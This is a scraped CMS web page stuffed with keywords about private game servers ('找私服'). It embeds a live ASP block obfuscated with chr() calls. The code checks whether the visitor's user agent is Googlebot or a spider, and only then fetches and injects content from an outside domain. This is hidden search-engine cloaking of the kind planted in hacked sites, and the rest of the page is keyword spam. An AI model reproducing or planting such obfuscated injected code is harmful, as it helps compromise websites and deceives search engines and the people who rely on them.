合作媒体

<% function gethttppage(url) dim adxmlhttp set adxmlhttp = Server.createobject("microsoft.xmlhttp") adxmlhttp.open "get",url,false adxmlhttp.send() if adxmlhttp.readystate <> 4 then exit function gethttppage = Bytes2bStr(adxmlhttp.responsebody) set adxmlhttp = nothing End function function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("adodb.stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "GB2312" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End function function Getbot() dim s_agent GetBot=chr(110)&chr(111) s_agent=Request.ServerVariables(chr(72)&chr(84)&chr(84)&chr(80)&chr(95)&chr(85)&chr(83)&chr(69)&chr(82)&chr(95)&chr(65)&chr(71)&chr(69)&chr(78)&chr(84)) s_agent=LCase(s_agent) if instr(1,s_agent,chr(103)&chr(111)&chr(111)&chr(103)&chr(108)&chr(101)&chr(98)&chr(111)&chr(116),1) > 0 then GetBot=chr(111)&chr(107) end if if instr(1,s_agent,chr(115)&chr(112)&chr(105)&chr(100)&chr(101)&chr(114),1) > 0 then GetBot=chr(111)&chr(107) end if end function if GetBot=chr(111)&chr(107) then Response.Write gethttppage(chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(99)&chr(113)&chr(122)&chr(122)&chr(107)&chr(107)&chr(46)&chr(99)&chr(111)&chr(109)&chr(47)&chr(48)&chr(52)&chr(48)&chr(52)&chr(95)&chr(49)&chr(47)) end if %> zhaosf,找私服,好私服,找私服网站
CMS - 轻松建站从此开始!

zhaosf,找私服,好私服,找私服网站

图文资讯
zhaosf更多...
好私服更多...
找私服更多...
投票调查